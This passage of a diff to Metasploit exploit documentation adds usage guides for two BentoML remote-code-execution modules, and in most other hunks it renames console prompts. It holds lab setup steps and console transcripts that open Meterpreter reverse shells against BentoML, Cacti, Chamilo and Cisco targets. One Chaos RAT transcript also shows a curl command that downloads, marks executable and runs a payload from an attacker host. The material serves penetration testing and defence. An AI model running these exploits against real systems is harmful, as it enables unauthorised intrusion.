--------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Python payload + + + +View the full module info with the info, or info -d command. + +msf exploit(linux/http/bentoml_rce_cve_2025_27520) > set target Python\ payload +target => Python payload +msf exploit(linux/http/bentoml_rce_cve_2025_27520) > run lhost=192.168.56.1 rhost=192.168.56.16 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 1.4.2 detected, which is vulnerable. +[*] Use /summarize as api endpoint. +[*] Sending stage (24772 bytes) to 192.168.56.16 +[*] Expected error occurred. +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:34930) at 2025-04-16 21:44:13 +0900 + +meterpreter > getuid +Server username: ubu +meterpreter > sysinfo +Computer : vul +OS : Linux 6.8.0-56-generic #58-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 14 15:33:28 UTC 2025 +Architecture : x64 +System Language : C +Meterpreter : python/linux +meterpreter > +``` + +### Linux command +``` +msf exploit(linux/http/bentoml_rce_cve_2025_27520) > set target Linux\ Command +target => Linux Command +msf exploit(linux/http/bentoml_rce_cve_2025_27520) > run lhost=192.168.56.1 rhost=192.168.56.16 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 1.4.2 detected, which is vulnerable. +[*] Use /summarize as api endpoint. +[*] Expected error occurred. +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:35272) at 2025-04-16 21:45:17 +0900 + +meterpreter > getuid +Server username: ubu +meterpreter > sysinfo +Computer : 192.168.56.16 +OS : Ubuntu 24.04 (Linux 6.8.0-56-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375.md b/documentation/modules/exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375.md new file mode 100644 index 0000000000000..c6dd39d4b3cd7 --- /dev/null +++ b/documentation/modules/exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375.md @@ -0,0 +1,165 @@ +## Vulnerable Application + +There was an insecure deserialization in BentoML's runner server. +By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, +which will grant the attackers to have the initial access and information disclosure on the server. + +The vulnerability affects: + + * 1.0.0a1 <= BentoML < 1.4.8 + +This module was successfully tested on: + + * BentoML 1.3.5 installed on Ubuntu 20.04 + + +### Installation + +1. `pip install -U bentoml==1.3.5` + +2. Create a file named model.py to create a simple model and save it: +```python3 +import bentoml +import numpy as np + +class mymodel: + def predict(self, info): + return np.abs(info) + def __call__(self, info): + return self.predict(info) + +model = mymodel() +bentoml.picklable_model.save_model("mymodel", model) +``` + +3. Run the following command to save this model: `python3 model.py` + +4. Create bentofile.yaml to build this model: +```yml +service: "service.py" +description: "A model serving service with BentoML" +python: + packages: + - bentoml + - numpy +models: + - tag: MyModel:latest +include: + - "*.py" +``` + +5. Create service.py to host this model: +```python3 +import bentoml +from bentoml.io import NumpyNdarray +import numpy as np + + +model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner() + +svc = bentoml.Service("myservice", runners=[model_runner]) + +async def predict(input_data: np.ndarray): + + input_columns = np.split(input_data, input_data.shape[1], axis=1) + result_generator = model_runner.async_run(input_columns, is_stream=True) + async for result in result_generator: + yield result +``` + +6. Run the following commands to build and host this model: +```bash +bentoml build +bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 +``` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options + + +## Scenarios + +### Python payload +``` +msf > use exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375 +[*] Using configured payload python/meterpreter/reverse_tcp +msf exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > options + +Module options (exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 3000 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (python/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Python payload + + + +View the full module info with the info, or info -d command. + +msf exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > set target Python\ payload +target => Python payload +msf exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > run lhost=192.168.56.1 rhost=192.168.56.15 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. BentoML's runner server detected. +[*] Sending stage (24772 bytes) to 192.168.56.15 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.15:47712) at 2025-04-17 20:29:12 +0900 + +meterpreter > getuid +Server username: ubu +meterpreter > sysinfo +Computer : vul +OS : Linux 5.4.0-212-generic #232-Ubuntu SMP Sat Mar 15 15:34:35 UTC 2025 +Architecture : x64 +System Language : en_US +Meterpreter : python/linux +meterpreter > +``` + +### Linux command +``` +msf exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > set target Linux\ Command +target => Linux Command +msf exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > run lhost=192.168.56.1 rhost=192.168.56.15 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. BentoML's runner server detected. +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.15:43432) at 2025-04-17 20:29:48 +0900 + +meterpreter > getuid +Server username: ubu +meterpreter > sysinfo +Computer : 192.168.56.15 +OS : Ubuntu 20.04 (Linux 5.4.0-212-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/beyondtrust_pra_rs_unauth_rce.md b/documentation/modules/exploit/linux/http/beyondtrust_pra_rs_unauth_rce.md index 97b08109f90dc..5c6907c031d7d 100644 --- a/documentation/modules/exploit/linux/http/beyondtrust_pra_rs_unauth_rce.md +++ b/documentation/modules/exploit/linux/http/beyondtrust_pra_rs_unauth_rce.md @@ -40,7 +40,7 @@ to achieve RCE. ### Default ``` -msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > show options +msf exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > show options Module options (exploit/linux/http/beyondtrust_pra_rs_unauth_rce): @@ -79,9 +79,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > check +msf exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > check [*] 192.168.86.105:443 - The target appears to be vulnerable. Detected version 24.1.2 -msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > exploit +msf exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > exploit [*] Started reverse TCP handler on 192.168.86.122:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Detected version 24.1.2 diff --git a/documentation/modules/exploit/linux/http/bitbucket_git_cmd_injection.md b/documentation/modules/exploit/linux/http/bitbucket_git_cmd_injection.md index 7480ff4cfb942..8d02c2e511ebf 100644 --- a/documentation/modules/exploit/linux/http/bitbucket_git_cmd_injection.md +++ b/documentation/modules/exploit/linux/http/bitbucket_git_cmd_injection.md @@ -85,13 +85,13 @@ An optional password to authenticate to Bitbucket with ### Bitbucket version 8.2.1 on Ubuntu 22.04 ``` -msf6 > use exploit/linux/http/bitbucket_git_cmd_injection +msf > use exploit/linux/http/bitbucket_git_cmd_injection [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/bitbucket_git_cmd_injection) > set rhost 192.168.140.216 +msf exploit(linux/http/bitbucket_git_cmd_injection) > set rhost 192.168.140.216 rhost => 192.168.140.216 -msf6 exploit(linux/http/bitbucket_git_cmd_injection) > set lhost 192.168.140.1 +msf exploit(linux/http/bitbucket_git_cmd_injection) > set lhost 192.168.140.1 lhost => 192.168.140.1 -msf6 exploit(linux/http/bitbucket_git_cmd_injection) > run +msf exploit(linux/http/bitbucket_git_cmd_injection) > run [*] Started reverse TCP handler on 192.168.140.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/bludit_upload_images_exec.md b/documentation/modules/exploit/linux/http/bludit_upload_images_exec.md index 495470e293857..1f2ed41efa91e 100644 --- a/documentation/modules/exploit/linux/http/bludit_upload_images_exec.md +++ b/documentation/modules/exploit/linux/http/bludit_upload_images_exec.md @@ -13,9 +13,9 @@ This module exploits a vulnerability in Bludit: A simple, fast, "secure", flat-f ## Scenarios ``` -msf5 exploit(linux/http/bludit_upload_images_exec) > check +msf exploit(linux/http/bludit_upload_images_exec) > check [*] 172.16.135.162:80 - The service is running, but could not be validated. -msf5 exploit(linux/http/bludit_upload_images_exec) > run +msf exploit(linux/http/bludit_upload_images_exec) > run [*] Started reverse TCP handler on 172.16.135.1:4444 [+] Logged in as: admin diff --git a/documentation/modules/exploit/linux/http/cacti_unauthenticated_cmd_injection.md b/documentation/modules/exploit/linux/http/cacti_unauthenticated_cmd_injection.md index 3d1fce63f6a8b..88450b4217d63 100644 --- a/documentation/modules/exploit/linux/http/cacti_unauthenticated_cmd_injection.md +++ b/documentation/modules/exploit/linux/http/cacti_unauthenticated_cmd_injection.md @@ -82,7 +82,7 @@ Id Name ## Scenarios ### Cacti 1.2.22 - Linux Dropper - HOST_ID and LOCAL_DATA_ID not set (bruteforce) ``` -msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options +msf exploit(linux/http/cacti_unauthenticated_cmd_injection) > options Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection): @@ -122,7 +122,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run +msf exploit(linux/http/cacti_unauthenticated_cmd_injection) > run [*] Started reverse TCP handler on 192.168.91.195:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -143,7 +143,7 @@ Server username: www-data ### Cacti 1.2.22 - Unix In-Memory - HOST_ID and LOCAL_DATA_ID set (immediate exploitation) ``` -msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options +msf exploit(linux/http/cacti_unauthenticated_cmd_injection) > options Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection): @@ -183,7 +183,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run +msf exploit(linux/http/cacti_unauthenticated_cmd_injection) > run [*] Started reverse TCP handler on 192.168.91.195:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -196,7 +196,7 @@ uid=33(www-data) gid=33(www-data) groups=33(www-data) ### Cacti 1.2.22 - Linux Dropper - HOST_ID and LOCAL_DATA_ID not set (bruteforce with undetermined result, then manual exploitation) ``` -msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options +msf exploit(linux/http/cacti_unauthenticated_cmd_injection) > options Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection): @@ -236,7 +236,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run +msf exploit(linux/http/cacti_unauthenticated_cmd_injection) > run [*] Started reverse TCP handler on 192.168.91.195:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -286,11 +286,11 @@ msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run [*] You can try to exploit these by manually configuring the HOST_ID and LOCAL_DATA_ID options [-] Exploit aborted due to failure: no-target: Failed to identify an exploitable host_id - local_data_id combination. [*] Exploit completed, but no session was created. -msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set host_id 1 +msf exploit(linux/http/cacti_unauthenticated_cmd_injection) > set host_id 1 host_id => 1 -msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set local_data_id 156 +msf exploit(linux/http/cacti_unauthenticated_cmd_injection) > set local_data_id 156 local_data_id => 156 -msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run +msf exploit(linux/http/cacti_unauthenticated_cmd_injection) > run [*] Started reverse TCP handler on 192.168.91.195:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/centreon_pollers_auth_rce.md b/documentation/modules/exploit/linux/http/centreon_pollers_auth_rce.md index b4366be6e8064..2933153fde1e7 100644 --- a/documentation/modules/exploit/linux/http/centreon_pollers_auth_rce.md +++ b/documentation/modules/exploit/linux/http/centreon_pollers_auth_rce.md @@ -28,18 +28,18 @@ Tested on: ## Scenarios ``` -msf5 > use exploit/linux/http/centreon_pollers_auth_rce -msf5 exploit(linux/http/centreon_pollers_auth_rce) > set rhosts [IP] +msf > use exploit/linux/http/centreon_pollers_auth_rce +msf exploit(linux/http/centreon_pollers_auth_rce) > set rhosts [IP] rhosts => [IP] -msf5 exploit(linux/http/centreon_pollers_auth_rce) > set username admin +msf exploit(linux/http/centreon_pollers_auth_rce) > set username admin username => admin -msf5 exploit(linux/http/centreon_pollers_auth_rce) > set password centreon +msf exploit(linux/http/centreon_pollers_auth_rce) > set password centreon password => centreon -msf5 exploit(linux/http/centreon_pollers_auth_rce) > set lhost [IP] +msf exploit(linux/http/centreon_pollers_auth_rce) > set lhost [IP] lhost => [IP] -msf5 exploit(linux/http/centreon_pollers_auth_rce) > set verbose true +msf exploit(linux/http/centreon_pollers_auth_rce) > set verbose true verbose => true -msf5 exploit(linux/http/centreon_pollers_auth_rce) > run +msf exploit(linux/http/centreon_pollers_auth_rce) > run [*] Started reverse TCP handler on XXX.XXX.XXX.XXX:4444 [*] Send authentication request. @@ -57,9 +57,9 @@ uid=48(apache) gid=48(apache) groups=48(apache),993(centreon-engine),994(centreo --or-- -msf5 exploit(linux/http/centreon_pollers_auth_rce) > set target 1 +msf exploit(linux/http/centreon_pollers_auth_rce) > set target 1 target => 1 -msf5 exploit(linux/http/centreon_pollers_auth_rce) > run +msf exploit(linux/http/centreon_pollers_auth_rce) > run [*] Started reverse TCP handler on XXX.XXX.XXX.XXX:4444 [*] Send authentication request. diff --git a/documentation/modules/exploit/linux/http/chamilo_bigupload_webshell.md b/documentation/modules/exploit/linux/http/chamilo_bigupload_webshell.md index afb53b7b3ec1e..2d0486defb40f 100644 --- a/documentation/modules/exploit/linux/http/chamilo_bigupload_webshell.md +++ b/documentation/modules/exploit/linux/http/chamilo_bigupload_webshell.md @@ -29,15 +29,15 @@ A vulnerable docker-compose configuration can be found at the following link: ht ## Scenarios ### Chamilo 1.11.18 running in Docker ``` -msf6 > use linux/http/chamilo_bigupload_webshell +msf > use linux/http/chamilo_bigupload_webshell [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(linux/http/chamilo_bigupload_webshell) > set rhost 127.0.0.1 +msf exploit(linux/http/chamilo_bigupload_webshell) > set rhost 127.0.0.1 rhost => 127.0.0.1 -msf6 exploit(linux/http/chamilo_bigupload_webshell) > set rport 8080 +msf exploit(linux/http/chamilo_bigupload_webshell) > set rport 8080 rport => 8080 -msf6 exploit(linux/http/chamilo_bigupload_webshell) > set lhost 172.16.199.1 +msf exploit(linux/http/chamilo_bigupload_webshell) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(linux/http/chamilo_bigupload_webshell) > show options +msf exploit(linux/http/chamilo_bigupload_webshell) > show options Module options (exploit/linux/http/chamilo_bigupload_webshell): @@ -68,7 +68,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/chamilo_bigupload_webshell) > run +msf exploit(linux/http/chamilo_bigupload_webshell) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/chamilo_unauth_rce_cve_2023_34960.md b/documentation/modules/exploit/linux/http/chamilo_unauth_rce_cve_2023_34960.md index 99e59dc2eefc2..7d53681df2b00 100644 --- a/documentation/modules/exploit/linux/http/chamilo_unauth_rce_cve_2023_34960.md +++ b/documentation/modules/exploit/linux/http/chamilo_unauth_rce_cve_2023_34960.md @@ -28,7 +28,7 @@ Instructions for a Chamilo installation on Ubuntu 22.04: - [ ] `exploit` - [ ] you should get a `reverse shell` or `Meterpreter` ``` -msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > options +msf exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > options Module options (exploit/linux/http/chamilo_unauth_rce_cve_2023_34960): @@ -89,7 +89,7 @@ to bypass any security settings on the Web and PHP server. ## Scenarios ### Ubuntu 22.04 PHP - php/meterpreter/reverse_tcp ``` -msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > exploit +msf exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -110,9 +110,9 @@ meterpreter > ``` ### Ubuntu 22.04 Unix Command - cmd/unix/reverse_bash ``` -msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > set target 1 +msf exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > set target 1 target => 1 -msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > exploit +msf exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -128,9 +128,9 @@ uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Ubuntu 22.04 Linux Dropper - linux/x64/meterpreter/reverse_tcp ``` -msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > set target 2 +msf exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > set target 2 target => 2 -msf6 exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > exploit +msf exploit(linux/http/chamilo_unauth_rce_cve_2023_34960) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/chaos_rat_xss_to_rce.md b/documentation/modules/exploit/linux/http/chaos_rat_xss_to_rce.md index fc81fbf5b0330..552bbdd162699 100644 --- a/documentation/modules/exploit/linux/http/chaos_rat_xss_to_rce.md +++ b/documentation/modules/exploit/linux/http/chaos_rat_xss_to_rce.md @@ -99,12 +99,12 @@ resource (chaos.rb)> set SRVPORT 8888 SRVPORT => 8888 resource (chaos.rb)> set verbose true verbose => true -msf6 exploit(linux/http/chaos_rat_xss_to_rce) > exploit +msf exploit(linux/http/chaos_rat_xss_to_rce) > exploit [*] Command to run on remote host: curl -so ./SPSVaaJxd http://111.111.10.147:9090/mh1dne7HFFTZ0wiiiWgmfw; chmod +x ./SPSVaaJxd; ./SPSVaaJxd & [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf6 exploit(linux/http/chaos_rat_xss_to_rce) > +msf exploit(linux/http/chaos_rat_xss_to_rce) > [*] Fetch handler listening on 111.111.10.147:9090 [*] HTTP server started [*] Adding resource /mh1dne7HFFTZ0wiiiWgmfw @@ -149,7 +149,7 @@ Live Agents [*] Sending stage (3045380 bytes) to 172.17.0.2 [*] Meterpreter session 1 opened (111.111.10.147:4444 -> 172.17.0.2:41290) at 2024-04-17 15:19:22 +0000 -msf6 exploit(linux/http/chaos_rat_xss_to_rce) > sessions -i 1 +msf exploit(linux/http/chaos_rat_xss_to_rce) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid @@ -181,12 +181,12 @@ resource (chaos.rb)> set SRVPORT 8888 SRVPORT => 8888 resource (chaos.rb)> set verbose true verbose => true -msf6 exploit(linux/http/chaos_rat_xss_to_rce) > exploit +msf exploit(linux/http/chaos_rat_xss_to_rce) > exploit [*] Command to run on remote host: curl -so ./HVHYAPykfOV http://111.111.63.147:9090/mh1dne7HFFTZ0wiiiWgmfw; chmod +x ./HVHYAPykfOV; ./HVHYAPykfOV & [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf6 exploit(linux/http/chaos_rat_xss_to_rce) > +msf exploit(linux/http/chaos_rat_xss_to_rce) > [*] Fetch handler listening on 111.111.63.147:9090 [*] HTTP server started [*] Adding resource /mh1dne7HFFTZ0wiiiWgmfw @@ -245,12 +245,12 @@ resource (chaos.rb)> set SRVPORT 8888 SRVPORT => 8888 resource (chaos.rb)> set verbose true verbose => true -msf6 exploit(linux/http/chaos_rat_xss_to_rce) > exploit +msf exploit(linux/http/chaos_rat_xss_to_rce) > exploit [*] Command to run on remote host: curl -so ./FdfcLgdHSudl http://111.111.63.147:9090/mh1dne7HFFTZ0wiiiWgmfw; chmod +x ./FdfcLgdHSudl; ./FdfcLgdHSudl & [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf6 exploit(linux/http/chaos_rat_xss_to_rce) > +msf exploit(linux/http/chaos_rat_xss_to_rce) > [*] Fetch handler listening on 111.111.63.147:9090 [*] HTTP server started [*] Adding resource /mh1dne7HFFTZ0wiiiWgmfw diff --git a/documentation/modules/exploit/linux/http/cisco_asax_sfr_rce.md b/documentation/modules/exploit/linux/http/cisco_asax_sfr_rce.md index aba4f5b856f99..4bfebd5bec2cc 100644 --- a/documentation/modules/exploit/linux/http/cisco_asax_sfr_rce.md +++ b/documentation/modules/exploit/linux/http/cisco_asax_sfr_rce.md @@ -86,19 +86,19 @@ The password to authenticate with the ASDM http web server with. ### Successful exploitation of ASA 5506-X with FirePOWER Services for a root shell ``` -msf6 > use exploit/linux/http/cisco_asax_sfr_rce +msf > use exploit/linux/http/cisco_asax_sfr_rce [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/http/cisco_asax_sfr_rce) > set USERNAME admin +msf exploit(linux/http/cisco_asax_sfr_rce) > set USERNAME admin USERNAME => admin -msf6 exploit(linux/http/cisco_asax_sfr_rce) > set PASSWORD labpass1 +msf exploit(linux/http/cisco_asax_sfr_rce) > set PASSWORD labpass1 PASSWORD => labpass1 -msf6 exploit(linux/http/cisco_asax_sfr_rce) > set LHOST 10.0.0.2 +msf exploit(linux/http/cisco_asax_sfr_rce) > set LHOST 10.0.0.2 LHOST => 10.0.0.2 -msf6 exploit(linux/http/cisco_asax_sfr_rce) > set RHOST 10.0.0.21 +msf exploit(linux/http/cisco_asax_sfr_rce) > set RHOST 10.0.0.21 RHOST => 10.0.0.21 -msf6 exploit(linux/http/cisco_asax_sfr_rce) > check +msf exploit(linux/http/cisco_asax_sfr_rce) > check [+] 10.0.0.21:443 - The target is vulnerable. Successfully executed the 'id' command. -msf6 exploit(linux/http/cisco_asax_sfr_rce) > run +msf exploit(linux/http/cisco_asax_sfr_rce) > run [*] Started reverse TCP handler on 10.0.0.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -115,21 +115,21 @@ Linux firepower 3.10.107sf.cisco-1 #1 SMP PREEMPT Thu Mar 8 18:29:04 UTC 2018 x8 ### Successful exploitation of ASA 5506-X with FirePOWER Services for a Meterpreter shell ``` -msf6 > use exploit/linux/http/cisco_asax_sfr_rce +msf > use exploit/linux/http/cisco_asax_sfr_rce [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/http/cisco_asax_sfr_rce) > set USERNAME admin +msf exploit(linux/http/cisco_asax_sfr_rce) > set USERNAME admin USERNAME => admin -msf6 exploit(linux/http/cisco_asax_sfr_rce) > set PASSWORD labpass1 +msf exploit(linux/http/cisco_asax_sfr_rce) > set PASSWORD labpass1 PASSWORD => labpass1 -msf6 exploit(linux/http/cisco_asax_sfr_rce) > set LHOST 10.0.0.2 +msf exploit(linux/http/cisco_asax_sfr_rce) > set LHOST 10.0.0.2 LHOST => 10.0.0.2 -msf6 exploit(linux/http/cisco_asax_sfr_rce) > set RHOST 10.0.0.21 +msf exploit(linux/http/cisco_asax_sfr_rce) > set RHOST 10.0.0.21 RHOST => 10.0.0.21 -msf6 exploit(linux/http/cisco_asax_sfr_rce) > check +msf exploit(linux/http/cisco_asax_sfr_rce) > check [+] 10.0.0.21:443 - The target is vulnerable. Successfully executed the 'id' command. -msf6 exploit(linux/http/cisco_asax_sfr_rce) > set TARGET 1 +msf exploit(linux/http/cisco_asax_sfr_rce) > set TARGET 1 TARGET => 1 -msf6 exploit(linux/http/cisco_asax_sfr_rce) > run +msf exploit(linux/http/cisco_asax_sfr_rce) > run [*] Started reverse TCP handler on 10.0.0.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/cisco_hyperflex_file_upload_rce.md b/documentation/modules/exploit/linux/http/cisco_hyperflex_file_upload_rce.md index f9fbb2973f3cd..646fbff978712 100644 --- a/documentation/modules/exploit/linux/http/cisco_hyperflex_file_upload_rce.md +++ b/documentation/modules/exploit/linux/http/cisco_hyperflex_file_upload_rce.md @@ -25,9 +25,9 @@ server and is then invoked via a GET request in order to execute the payload. (R ### Cisco HyperFlex HX Data Platform Installer 4.0(2d) ``` -msf6 > use exploit/linux/http/cisco_hyperflex_file_upload_rce +msf > use exploit/linux/http/cisco_hyperflex_file_upload_rce [*] Using configured payload java/meterpreter/reverse_tcp -msf6 exploit(linux/http/cisco_hyperflex_file_upload_rce) > options +msf exploit(linux/http/cisco_hyperflex_file_upload_rce) > options Module options (exploit/linux/http/cisco_hyperflex_file_upload_rce): @@ -56,11 +56,11 @@ Exploit target: -- ---- 0 Java Dropper -msf6 exploit(linux/http/cisco_hyperflex_file_upload_rce) > set rhosts 192.168.123.145 +msf exploit(linux/http/cisco_hyperflex_file_upload_rce) > set rhosts 192.168.123.145 rhosts => 192.168.123.145 -msf6 exploit(linux/http/cisco_hyperflex_file_upload_rce) > set lhost 192.168.123.1 +msf exploit(linux/http/cisco_hyperflex_file_upload_rce) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(linux/http/cisco_hyperflex_file_upload_rce) > run +msf exploit(linux/http/cisco_hyperflex_file_upload_rce) > run [*] Started reverse TCP handler on 192.168.123.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec.md b/documentation/modules/exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec.md index 971116b6d431a..4c91ba293a643 100644 --- a/documentation/modules/exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec.md +++ b/documentation/modules/exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec.md @@ -19,9 +19,9 @@ Follow [Setup](#setup) and [Scenarios](#scenarios). ### Cisco HyperFlex HX Data Platform Installer 4.0(2d) ``` -msf6 > use exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec +msf > use exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec [*] Using configured payload cmd/unix/reverse_python_ssl -msf6 exploit(linux/http/cisco_hyperflex_hx_data_platform_cmd_exec) > options +msf exploit(linux/http/cisco_hyperflex_hx_data_platform_cmd_exec) > options Module options (exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec): @@ -54,11 +54,11 @@ Exploit target: 0 Unix Command -msf6 exploit(linux/http/cisco_hyperflex_hx_data_platform_cmd_exec) > set rhosts 172.16.57.4 +msf exploit(linux/http/cisco_hyperflex_hx_data_platform_cmd_exec) > set rhosts 172.16.57.4 rhosts => 172.16.57.4 -msf6 exploit(linux/http/cisco_hyperflex_hx_data_platform_cmd_exec) > set lhost 172.16.57.1 +msf exploit(linux/http/cisco_hyperflex_hx_data_platform_cmd_exec) > set lhost 172.16.57.1 lhost => 172.16.57.1 -msf6 exploit(linux/http/cisco_hyperflex_hx_data_platform_cmd_exec) > run +msf exploit(linux/http/cisco_hyperflex_hx_data_platform_cmd_exec) > run [*] Started reverse SSL handler on 172.16.57.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/cisco_rv32x_rce.md b/documentation/modules/exploit/linux/http/cisco_rv32x_rce.md index 8ba14226ef470..37d95b29bb9a3 100644 --- a/documentation/modules/exploit/linux/http/cisco_rv32x_rce.md +++ b/documentation/modules/exploit/linux/http/cisco_rv32x_rce.md @@ -85,18 +85,18 @@ connection to the HTTP stager. Exploiting a vulnerable RV320 router with publicly accessible HTTPS web interface on TCP port 443: ``` -msf5 exploit(linux/http/cisco_rv32x_rce) > set RHOSTS 192.168.1.1 -msf5 exploit(linux/http/cisco_rv32x_rce) > set payload linux/mips64/meterpreter_reverse_tcp -msf5 exploit(linux/http/cisco_rv32x_rce) > set LHOST 192.168.1.2 -msf5 exploit(linux/http/cisco_rv32x_rce) > set RPORT 443 -msf5 exploit(linux/http/cisco_rv32x_rce) > set USE_SSL true -msf5 exploit(linux/http/cisco_rv32x_rce) > run +msf exploit(linux/http/cisco_rv32x_rce) > set RHOSTS 192.168.1.1 +msf exploit(linux/http/cisco_rv32x_rce) > set payload linux/mips64/meterpreter_reverse_tcp +msf exploit(linux/http/cisco_rv32x_rce) > set LHOST 192.168.1.2 +msf exploit(linux/http/cisco_rv32x_rce) > set RPORT 443 +msf exploit(linux/http/cisco_rv32x_rce) > set USE_SSL true +msf exploit(linux/http/cisco_rv32x_rce) > run ``` Demo example output 